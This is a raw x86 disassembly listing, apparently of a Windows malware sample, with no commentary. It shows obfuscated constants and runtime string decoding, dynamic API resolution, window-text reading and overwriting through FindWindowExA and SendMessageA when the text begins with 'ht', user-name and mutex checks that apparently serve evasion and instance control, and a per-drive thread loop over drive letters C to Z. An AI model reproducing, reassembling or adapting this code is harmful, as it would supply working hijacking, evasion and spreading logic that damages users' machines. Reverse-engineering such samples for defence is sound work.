loc_438B8E: ; CODE XREF: sub_43858C+5E8j
jmp loc_438C6C
; ---------------------------------------------------------------------------
loc_438B93: ; CODE XREF: sub_43858C+600j
mov eax, dword_44A1B0
sub eax, 7
mov [ebp+var_60EA4], eax
jmp short loc_438BD3
; ---------------------------------------------------------------------------
loc_438BA3: ; CODE XREF: sub_43858C+653j
mov eax, [ebp+var_40E9C]
add eax, [ebp+var_60EA4]
movsx eax, [ebp+eax+var_60E9F]
mov edx, dword_44A13C
add edx, 17h
movsx ecx, word_44A144
add edx, ecx
cmp eax, edx
jnz short loc_438BE1
inc [ebp+var_60EA4]
loc_438BD3: ; CODE XREF: sub_43858C+615j
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jb short loc_438BA3
loc_438BE1: ; CODE XREF: sub_43858C+63Fj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_60EA4], eax
jz short loc_438C6C
mov eax, dword_44A1A8
movsx edx, word_44A218
add eax, edx
sub eax, 6
push eax
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call sub_4384B5
add esp, 0Ch
mov [ebp+var_60EDC], eax
mov eax, dword_44A154
add eax, 0FFF8h
cmp [ebp+var_60EDC], eax
jnz short loc_438C6C
push offset byte_44B95F
call sub_43C507
push eax
lea edi, [ebp+var_50E9B]
push edi
call ds:dword_444020
mov eax, [ebp+var_40E9C]
lea eax, [ebp+eax+var_60E9F]
push eax
lea eax, [ebp+var_50E9B]
push eax
call ds:dword_444020
add esp, 14h
loc_438C6C: ; CODE XREF: sub_43858C:loc_438B8Ej
; sub_43858C+661j ...
mov eax, [ebp+var_60EA8]
movsx edx, word_44A1E0
movsx ecx, word_44A1C0
add edx, ecx
sub edx, 6
add eax, edx
add [ebp+var_40E9C], eax
mov eax, [ebp+var_60EB8]
cmp [ebp+var_40E9C], eax
jb loc_438B46
mov eax, dword_44A28C
sub eax, 6
mov [ebp+var_60EB4], eax
lea ecx, [ebp+var_50E9B]
or eax, 0FFFFFFFFh
loc_438CB6: ; CODE XREF: sub_43858C+72Fj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_438CB6
mov [ebp+var_60EA8], eax
mov eax, dword_44A0AC
add eax, dword_44A0F4
sub eax, 8
mov [ebp+var_40E9C], eax
jmp loc_438F1A
; ---------------------------------------------------------------------------
loc_438CDC: ; CODE XREF: sub_43858C+99Aj
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, dword_44A254
add edx, 17h
add edx, dword_44A168
cmp eax, edx
jz short loc_438D04
and [ebp+var_60EAC], 0
loc_438D04: ; CODE XREF: sub_43858C+76Fj
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, dword_44A1C4
add edx, 13h
movsx ecx, word_44A150
add edx, ecx
cmp eax, edx
jnz loc_438EC6
movsx eax, word_44A230
movsx edx, word_44A124
add eax, edx
sub eax, 0Ch
cmp [ebp+var_40E9C], eax
jbe loc_438DFC
mov eax, [ebp+var_40E9C]
mov edx, dword_44A1B8
add edx, dword_44A25C
sub edx, 0Ch
sub eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, dword_44A1A0
add edx, 1Dh
cmp eax, edx
jle short loc_438D98
movsx edx, word_44A240
mov ecx, dword_44A224
lea edx, [edx+ecx+29h]
cmp eax, edx
jl short loc_438DF2
loc_438D98: ; CODE XREF: sub_43858C+7F5j
movzx eax, [ebp+var_60EDD]
mov edx, dword_44A164
add edx, 35h
add edx, dword_44A168
cmp eax, edx
jle short loc_438DC0
movsx edx, word_44A260
add edx, 3Fh
cmp eax, edx
jl short loc_438DF2
loc_438DC0: ; CODE XREF: sub_43858C+824j
movzx eax, [ebp+var_60EDD]
movsx edx, word_44A1A4
mov ecx, dword_44A1E4
lea edx, [edx+ecx+6Fh]
cmp eax, edx
jle short loc_438DFC
mov edx, dword_44A138
add edx, 76h
movsx ecx, word_44A24C
add edx, ecx
cmp eax, edx
jge short loc_438DFC
loc_438DF2: ; CODE XREF: sub_43858C+80Aj
; sub_43858C+832j
mov [ebp+var_60EAC], 1
loc_438DFC: ; CODE XREF: sub_43858C+7B9j
; sub_43858C+84Ej ...
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jnb loc_438EC6
mov eax, [ebp+var_40E9C]
movsx edx, word_44A240
add edx, dword_44A200
sub edx, 6
add eax, edx
mov al, [ebp+eax+var_50E9B]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, dword_44A21C
add edx, 0Fh
add edx, dword_44A128
cmp eax, edx
jle short loc_438E60
mov edx, dword_44A0D4
add edx, 26h
add edx, dword_44A270
cmp eax, edx
jl short loc_438EBC
loc_438E60: ; CODE XREF: sub_43858C+8BFj
movzx eax, [ebp+var_60EDD]
mov edx, dword_44A17C
add edx, 31h
movsx ecx, word_44A100
add edx, ecx
cmp eax, edx
jle short loc_438E92
movsx edx, word_44A174
mov ecx, dword_44A1A8
lea edx, [edx+ecx+38h]
cmp eax, edx
jl short loc_438EBC
loc_438E92: ; CODE XREF: sub_43858C+8EFj
movzx eax, [ebp+var_60EDD]
mov edx, dword_44A0A0
add edx, 74h
movsx ecx, word_44A098
add edx, ecx
cmp eax, edx
jle short loc_438EC6
mov edx, dword_44A200
add edx, 7Ah
cmp eax, edx
jge short loc_438EC6
loc_438EBC: ; CODE XREF: sub_43858C+8D2j
; sub_43858C+904j
mov [ebp+var_60EAC], 1
loc_438EC6: ; CODE XREF: sub_43858C+79Aj
; sub_43858C+87Cj ...
cmp [ebp+var_60EAC], 0
jnz short loc_438EEF
mov eax, [ebp+var_60EB4]
mov edx, [ebp+var_40E9C]
mov dl, [ebp+edx+var_50E9B]
mov [ebp+eax+var_50E9B], dl
inc [ebp+var_60EB4]
loc_438EEF: ; CODE XREF: sub_43858C+941j
mov eax, [ebp+var_40E9C]
movzx eax, [ebp+eax+var_50E9B]
mov edx, dword_44A1CC
add edx, 1Ah
cmp eax, edx
jnz short loc_438F14
mov [ebp+var_60EAC], 1
loc_438F14: ; CODE XREF: sub_43858C+97Cj
inc [ebp+var_40E9C]
loc_438F1A: ; CODE XREF: sub_43858C+74Bj
mov eax, [ebp+var_60EA8]
cmp [ebp+var_40E9C], eax
jb loc_438CDC
mov eax, [ebp+var_60EB4]
mov edx, dword_44A0F4
add edx, dword_44A138
sub edx, 7
mov [ebp+eax+var_50E9B], dl
loc_438F48: ; CODE XREF: sub_43858C+4FDj
mov eax, [ebp+var_60ED4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_438F54: ; CODE XREF: sub_43858C+4D9j
and [ebp+var_60EB0], 0
lea eax, [ebp+var_60EB0]
push eax
push offset dword_44BA88
mov eax, [ebp+var_60EC0]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44A158
sub eax, 9
cmp ebx, eax
jnz loc_439268
lea eax, [ebp+var_60EBC]
push eax
mov eax, [ebp+var_60EB0]
push eax
mov edi, [eax]
call dword ptr [edi+6Ch]
mov ebx, eax
movsx eax, word_44A174
movsx edx, word_44A264
add eax, edx
sub eax, 10h
cmp ebx, eax
jnz loc_43925C
mov eax, dword_44A0AC
dec eax
mov [ebp-50EA0h], eax
jmp loc_43924A
; ---------------------------------------------------------------------------
loc_438FCA: ; CODE XREF: sub_43858C+CCAj
mov eax, dword_44A1AC
sub eax, 5
push eax
call ds:dword_449630
pop ecx
mov [ebp+var_70F08], 2
mov eax, [ebp-50EA0h]
mov [ebp+var_70F00], eax
lea eax, [ebp+var_70EF8]
push eax
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_60EB0]
push edi
mov edi, [edi]
call dword ptr [edi+74h]
mov ebx, eax
mov eax, dword_44A1E8
movsx edx, word_44A150
add eax, edx
sub eax, 9
cmp ebx, eax
jnz loc_439244
and [ebp+var_70EF4], 0
lea eax, [ebp+var_70EF4]
push eax
push offset dword_44BA78
mov eax, [ebp+var_70EF8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44A128
sub eax, 9
cmp ebx, eax
jnz loc_439238
lea eax, [ebp+var_60EF0]
push eax
mov eax, dword_44A168
add eax, dword_44A280
sub eax, 4
push eax
push [ebp+var_30E44]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
or ebx, ebx
jnz short loc_4390AE
cmp [ebp+var_60EF0], 8
jz short loc_4390B3
loc_4390AE: ; CODE XREF: sub_43858C+B16j
jmp loc_43922C
; ---------------------------------------------------------------------------
loc_4390B3: ; CODE XREF: sub_43858C+B20j
movsx eax, word_44A22C
add eax, dword_44A140
movsx edx, word_44A180
sub edx, 4
mov byte ptr [ebp+eax+var_70F00+1], dl
lea eax, [ebp+var_70EEF]
push eax
push [ebp+var_60EE8]
call sub_43C434
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_71F0C], edi
push [ebp+var_60EE8]
call ds:dword_449BA0
mov eax, dword_44A1E8
movsx edx, word_44A0BC
add eax, edx
movsx eax, [ebp+eax+var_70EF9]
mov edx, dword_44A1F4
add edx, dword_44A1F8
sub edx, 7
cmp eax, edx
jz loc_43922C
push [ebp+var_30E4C]
lea eax, [ebp+var_70EEF]
push eax
call sub_43DB8B
add esp, 8
lea eax, [ebp+var_60EF0]
push eax
mov eax, dword_44A254
movsx edx, word_44A1DC
add eax, edx
sub eax, 0Ah
push eax
push [ebp+var_30E48]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_44A158
mov edx, dword_44A198
sub edx, 2
mov byte ptr [ebp+eax+var_71F10], dl
or ebx, ebx
jnz short loc_4391B7
cmp [ebp+var_60EF0], 8
jnz short loc_4391B7
lea eax, [ebp+var_71F07]
push eax
push [ebp+var_60EE8]
call sub_43C434
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_71F10], edi
push [ebp+var_60EE8]
call ds:dword_449BA0
loc_4391B7: ; CODE XREF: sub_43858C+BF5j
; sub_43858C+BFFj
push offset byte_44B957
call sub_43C507
push dword ptr [ebp-50EA0h]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_449634
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_444020
lea eax, [ebp+var_71F07]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_444020
push offset word_44B952
call sub_43C507
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_444020
lea eax, [ebp+var_70EEF]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_444020
add esp, 34h
loc_43922C: ; CODE XREF: sub_43858C:loc_4390AEj
; sub_43858C+B96j
mov eax, [ebp+var_70EF4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_439238: ; CODE XREF: sub_43858C+AE4j
mov eax, [ebp+var_70EF8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_439244: ; CODE XREF: sub_43858C+AAFj
inc dword ptr [ebp-50EA0h]
loc_43924A: ; CODE XREF: sub_43858C+A39j
mov eax, [ebp+var_60EBC]
cmp [ebp-50EA0h], eax
jb loc_438FCA
loc_43925C: ; CODE XREF: sub_43858C+A27j
mov eax, [ebp+var_60EB0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_439268: ; CODE XREF: sub_43858C+9F7j
mov eax, [ebp+var_60EC0]
push eax
mov esi, [eax]
call dword ptr [esi+8]
movzx eax, [ebp+var_50E9B]
mov edx, dword_44A1EC
sub edx, 8
cmp eax, edx
jz short loc_4392CF
push offset dword_44B94C
call sub_43C507
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_444020
lea eax, [ebp+var_50E9B]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_444020
push offset byte_44B947
call sub_43C507
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_444020
add esp, 20h
loc_4392CF: ; CODE XREF: sub_43858C+46Fj
; sub_43858C+CFAj
inc [ebp+var_30E50]
loc_4392D5: ; CODE XREF: sub_43858C+3F9j
mov eax, [ebp+var_30E58]
cmp [ebp+var_30E50], eax
jb loc_43898A
loc_4392E7: ; CODE XREF: sub_43858C+28Dj
; sub_43858C+30Dj ...
inc [ebp+var_40E5C]
mov eax, [ebp+var_40E90]
cmp [ebp+var_40E5C], eax
jl loc_4387D4
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44962C
pop ecx
push [ebp+var_30E44]
call ds:dword_449BA0
push [ebp+var_30E48]
call ds:dword_449BA0
loc_439325: ; CODE XREF: sub_43858C+1EEj
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_439331: ; CODE XREF: sub_43858C+1C7j
mov eax, [ebp+var_40E6C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43933D: ; CODE XREF: sub_43858C+1A4j
mov eax, [ebp+var_40E68]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_439349: ; CODE XREF: sub_43858C+C7j
; sub_43858C:loc_4386A7j ...
mov eax, [ebp+var_40E64]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_439355: ; CODE XREF: sub_43858C+61j
; sub_43858C+A2j
pop edi
pop esi
pop ebx
leave
retn
sub_43858C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43935A proc near ; CODE XREF: sub_43ABE3+94p
; sub_43ABE3+CEp ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 0Ah
mov edx, 0CCCCCCCDh
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
add edi, 61h
mov ebx, edi
mov [ebp+arg_0], bl
mov al, [ebp+arg_0]
cmp al, 65h
jz short loc_43939B
cmp al, 79h
jz short loc_43939B
cmp al, 75h
jz short loc_43939B
cmp al, 69h
jz short loc_43939B
cmp al, 6Fh
jz short loc_43939B
cmp al, 61h
jnz short loc_43939F
loc_43939B: ; CODE XREF: sub_43935A+2Bj
; sub_43935A+2Fj ...
add [ebp+arg_0], 1
loc_43939F: ; CODE XREF: sub_43935A+3Fj
cmp [ebp+arg_0], 6Ah
jnz short loc_4393A9
add [ebp+arg_0], 1
loc_4393A9: ; CODE XREF: sub_43935A+49j
movzx eax, [ebp+arg_0]
pop edi
pop ebx
leave
retn
sub_43935A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4393B1 proc near ; CODE XREF: sub_43B912+61p
var_100C = byte ptr -100Ch
var_1004 = byte ptr -1004h
var_1003 = byte ptr -1003h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_442F6C
push ebx
push esi
push edi
push offset byte_44B935
call sub_43C507
pop ecx
push 0
push eax
push 0
push [ebp+arg_0]
call ds:dword_44963C ; FindWindowExA
mov edi, eax
or edi, edi
jnz short loc_4393E3
mov edi, [ebp+arg_0]
loc_4393E3: ; CODE XREF: sub_4393B1+2Dj
push offset byte_44B91F
call sub_43C507
pop ecx
push 0
push eax
push 0
push edi
call ds:dword_44963C ; FindWindowExA
mov edi, eax
lea eax, [ebp+var_FFF]
push eax
push 0FFFh
push 0Dh
push edi
call ds:dword_444014 ; SendMessageA
movsx eax, word_44A1B4
add eax, dword_44A188
cmp [ebp+eax+var_1003], 20h
jnz short loc_439441
mov eax, dword_44A194
add eax, dword_44A1C4
cmp [ebp+eax+var_100C], 20h
jz loc_4394D8
loc_439441: ; CODE XREF: sub_4393B1+75j
mov eax, dword_44A0C8
cmp [ebp+eax+var_FFF], 68h
jnz short loc_439467
movsx eax, word_44A230
add eax, dword_44A188
cmp [ebp+eax+var_1004], 74h
jz short loc_4394D8
loc_439467: ; CODE XREF: sub_4393B1+9Dj
lea ecx, [ebp+var_FFF]
or eax, 0FFFFFFFFh
loc_439470: ; CODE XREF: sub_4393B1+C4j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_439470
mov ebx, dword_44A274
add ebx, 0Ch
cmp eax, ebx
jb short loc_4394D8
push offset word_44B91A
call sub_43C507
mov esi, dword_44A128
sub esi, 5
push esi
push eax
lea esi, [ebp+var_FFF]
push esi
call sub_4384B5
add esp, 10h
movsx ebx, word_44A1A4
add ebx, 0FFF8h
cmp eax, ebx
jnz short loc_4394D8
push offset dword_44B914
call sub_43C507
pop ecx
push eax
mov esi, dword_44A214
sub esi, 9
push esi
push 0Ch
push edi
call ds:dword_444014 ; SendMessageA
loc_4394D8: ; CODE XREF: sub_4393B1+8Aj
; sub_4393B1+B4j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4393B1 endp
; =============== S U B R O U T I N E =======================================
sub_4394DD proc near ; CODE XREF: sub_43EC0A+1Bp
push edi
push offset dword_44B904
call sub_43C507
pop ecx
push eax
call ds:dword_4465E8 ; GetModuleHandleA
mov dword_44A2A8, eax
test eax, eax
jnz short loc_439510
push offset dword_44B8F4
call sub_43C507
pop ecx
push eax
call ds:dword_447244 ; LoadLibraryA
mov dword_44A2A8, eax
loc_439510: ; CODE XREF: sub_4394DD+1Aj
push offset word_44B8E2
call sub_43C507
push eax
push dword_44A2A8
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444044, eax
push offset byte_44B8D1
call sub_43C507
push eax
push dword_44A2A8
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449BA0, eax
push offset byte_44B8C1
call sub_43C507
push eax
push dword_44A2A8
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_449BB0, eax
push offset word_44B8B2
call sub_43C507
push eax
push dword_44A2A8
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_444038, eax
push offset word_44B8A2
call sub_43C507
add esp, 14h
push eax
push dword_44A2A8
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_447254, eax
pop edi
retn
sub_4394DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4395A1 proc near ; DATA XREF: .data:0044A378o
push ebp
mov ebp, esp
push offset dword_449BA8
call ds:dword_446A3C ; InterlockedIncrement
mov eax, ds:dword_449BA8
pop ebp
retn 4
sub_4395A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4395B8 proc near ; DATA XREF: .data:off_44A374o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_44BAC8
push esi
call ds:dword_449648
or eax, eax
jz short loc_4395E4
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43962C
; ---------------------------------------------------------------------------
loc_4395E4: ; CODE XREF: sub_4395B8+1Aj
push offset dword_44BA48
push esi
call ds:dword_449648
or eax, eax
jz short loc_439604
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43962C
; ---------------------------------------------------------------------------
loc_439604: ; CODE XREF: sub_4395B8+3Aj
push offset dword_44BA18
push esi
call ds:dword_449648
or eax, eax
jz short loc_439624
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43962C
; ---------------------------------------------------------------------------
loc_439624: ; CODE XREF: sub_4395B8+5Aj
and dword ptr [edi], 0
mov eax, 80004002h
loc_43962C: ; CODE XREF: sub_4395B8+2Aj
; sub_4395B8+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_4395B8 endp
; =============== S U B R O U T I N E =======================================
sub_439633 proc near ; DATA XREF: .data:0044A3ACo
mov eax, 80004001h
retn 18h
sub_439633 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_43963B proc near ; DATA XREF: sub_4399CB+154o
var_A = byte ptr -0Ah
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov edi, [ebp+arg_0]
push offset sub_43B490
push dword ptr fs:0
mov fs:0, esp
push offset word_44B89A
call sub_43C507
push dword ptr [edi]
push eax
lea esi, [ebp+var_A]
push esi
call ds:dword_449634
add esp, 10h
loc_439671: ; CODE XREF: sub_43963B+5Bj
push 0
push dword ptr [edi]
lea eax, [ebp+var_A]
push eax
call sub_43D357
mov eax, dword_44A23C
add eax, dword_44A108
sub eax, 0Bh
push eax
call ds:dword_449630
add esp, 10h
jmp short loc_439671
sub_43963B endp
; ---------------------------------------------------------------------------
pop edi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
sub_43969E proc near ; CODE XREF: sub_43EC0A+25p
push edi
push offset dword_44B88C
call sub_43C507
pop ecx
push eax
call ds:dword_4465E8 ; GetModuleHandleA
mov dword_44A2B0, eax
test eax, eax
jnz short loc_4396D1
push offset asc_44B87E ; "\n"
call sub_43C507
pop ecx
push eax
call ds:dword_447244 ; LoadLibraryA
mov dword_44A2B0, eax
loc_4396D1: ; CODE XREF: sub_43969E+1Aj
cmp dword_44A2B0, 0
jz short loc_4396F4
mov eax, dword_44A248
add eax, 5
push eax
push dword_44A2B0
call ds:dword_4461F8 ; GetProcAddress
mov ds:dword_44401C, eax
loc_4396F4: ; CODE XREF: sub_43969E+3Aj
pop edi
retn
sub_43969E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4396F6 proc near ; CODE XREF: sub_43EC0A:loc_43EC45p
; sub_44083E+261p
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 108h
push esi
push edi
movsx eax, word_44A150
mov edi, eax
add edi, dword_44A0B8
sub edi, 9
jmp short loc_439784
; ---------------------------------------------------------------------------
loc_439715: ; CODE XREF: sub_4396F6+A1j
push offset word_44B872
call sub_43C507
mov [ebp+var_108], eax
push offset dword_44B868
call sub_43C507
push edi
push eax
mov esi, [ebp+var_108]
push esi
lea esi, [ebp+var_FF]
push esi
call ds:dword_449634
add esp, 18h
lea eax, [ebp+var_FF]
push eax
push 0
push 1F0001h
call ds:dword_448648 ; OpenMutexA
mov [ebp+var_104], eax
or eax, eax
jz short loc_439783
push eax
call ds:dword_448654 ; CloseHandle
mov eax, dword_44A0B8
dec eax
cmp edi, eax
jnz short loc_43977C
xor eax, eax
inc eax
jmp short loc_43979F
; ---------------------------------------------------------------------------
loc_43977C: ; CODE XREF: sub_4396F6+7Fj
mov eax, 2
jmp short loc_43979F
; ---------------------------------------------------------------------------
loc_439783: ; CODE XREF: sub_4396F6+6Ej
inc edi
loc_439784: ; CODE XREF: sub_4396F6+1Dj
mov eax, dword_44A234
add eax, 5Ch
movsx edx, word_44A178
add eax, edx
cmp edi, eax
jb loc_439715
xor eax, eax
loc_43979F: ; CODE XREF: sub_4396F6+84j
; sub_4396F6+8Bj
pop edi
pop esi
leave
retn
sub_4396F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4397A3 proc near ; CODE XREF: sub_43EC0A+34p
var_104 = dword ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
mov [ebp+var_104], 0FFh
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_FF]
push eax
call ds:dword_4465F0 ; GetUserNameA
push offset word_44B85E
call sub_43C507
mov edi, dword_44A138
add edi, dword_44A0DC
sub edi, 2
push edi
push eax
lea edi, [ebp+var_FF]
push edi
call sub_4384B5
add esp, 10h
movsx esi, word_44A1F0
add esi, 0FFFCh
cmp eax, esi
jz short loc_43980C
xor eax, eax
inc eax
jmp short loc_439853
; ---------------------------------------------------------------------------
loc_43980C: ; CODE XREF: sub_4397A3+62j
push offset word_44B852
call sub_43C507
mov edi, dword_44A1D0
add edi, dword_44A0A0
sub edi, 0Ah
push edi
push eax
lea edi, [ebp+var_FF]
push edi
call sub_4384B5
add esp, 10h
mov esi, dword_44A258
add esi, 0FFF9h
add esi, dword_44A270
cmp eax, esi
jz short loc_439851
xor eax, eax
inc eax
jmp short loc_439853
; ---------------------------------------------------------------------------
loc_439851: ; CODE XREF: sub_4397A3+A7j
xor eax, eax
loc_439853: ; CODE XREF: sub_4397A3+67j
; sub_4397A3+ACj
pop edi
pop esi
leave
retn
sub_4397A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439857 proc near ; DATA XREF: .data:0044A3B0o
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
movsx eax, word_44A27C
add eax, 0C4h
cmp [ebp+arg_4], eax
jnz loc_439986
mov [ebp+var_18], 3
lea eax, [ebp+var_10]
push eax
mov eax, dword_44A394
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov [ebp+var_4], eax
movsx eax, word_44A27C
add eax, dword_44A0B4
sub eax, 0Ch
cmp [ebp+var_4], eax
jnz loc_439982
dec [ebp+var_10]
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, dword_44A394
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov [ebp+var_4], eax
mov eax, dword_44A26C
sub eax, 9
cmp [ebp+var_4], eax
jnz loc_439982
lea eax, [ebp+var_20]
push eax
push offset dword_44BAD8
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
mov eax, dword_44A254
add eax, dword_44A224
sub eax, 0Eh
cmp [ebp+var_4], eax
jnz short loc_439979
lea eax, off_44A390
mov [ebp+var_8], eax
push eax
mov ebx, [eax]
call dword ptr [ebx+4]
lea eax, [ebp+var_24]
push eax
push offset dword_44BA18
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
mov eax, dword_44A0A0
sub eax, 4
cmp [ebp+var_4], eax
jnz short loc_439967
lea eax, [ebp+var_2C]
push eax
push offset dword_44BA18
push [ebp+var_24]
push [ebp+var_20]
call sub_43F63D
add esp, 10h
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_439967: ; CODE XREF: sub_439857+EBj
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, [ebp+var_20]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_439979: ; CODE XREF: sub_439857+B6j
mov eax, [ebp+var_1C]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_439982: ; CODE XREF: sub_439857+50j
; sub_439857+86j
xor eax, eax
jmp short loc_43998B
; ---------------------------------------------------------------------------
loc_439986: ; CODE XREF: sub_439857+1Fj
mov eax, 80020003h
loc_43998B: ; CODE XREF: sub_439857+12Dj
pop edi
pop esi
pop ebx
leave
retn 24h
sub_439857 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_439992 proc near ; DATA XREF: sub_439B7B+117o
push ebp
mov ebp, esp
loc_439995: ; CODE XREF: sub_439992+33j
movsx eax, word_44A27C
sub eax, 4
push eax
call ds:dword_449630
pop ecx
movsx eax, word_44A218
add eax, dword_44A1AC
sub eax, 0Ah
push eax
push offset sub_43B912
push 0
call ds:dword_444048 ; EnumDesktopWindows
jmp short loc_439995
sub_439992 endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4399CB proc near ; DATA XREF: sub_43EC0A+2C7o
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_E = byte ptr -0Eh
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, 43h
jmp short loc_4399E4
; ---------------------------------------------------------------------------
loc_4399DB: ; CODE XREF: sub_4399CB+1Cj
and ds:dword_449790[esi*4], 0
inc esi
loc_4399E4: ; CODE XREF: sub_4399CB+Ej
cmp esi, 5Ah
jbe short loc_4399DB
loc_4399E9: ; CODE XREF: sub_4399CB+192j
mov edi, 43h
jmp loc_439B44
; ---------------------------------------------------------------------------
loc_4399F3: ; CODE XREF: sub_4399CB+17Cj
mov eax, dword_44A1E8
dec eax
push eax
call ds:dword_449630
push offset word_44B84A
call sub_43C507
push edi
push eax
lea ebx, [ebp+var_E]
push ebx
call ds:dword_449634
add esp, 14h
cmp ds:dword_449790[edi*4], 0
jz short loc_439A5D
mov eax, dword_44A20C
sub eax, 6
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
push eax
push ds:dword_449790[edi*4]
call ds:dword_449650 ; GetExitCodeThread
cmp [ebp+var_14], 103h
jz short loc_439A5D
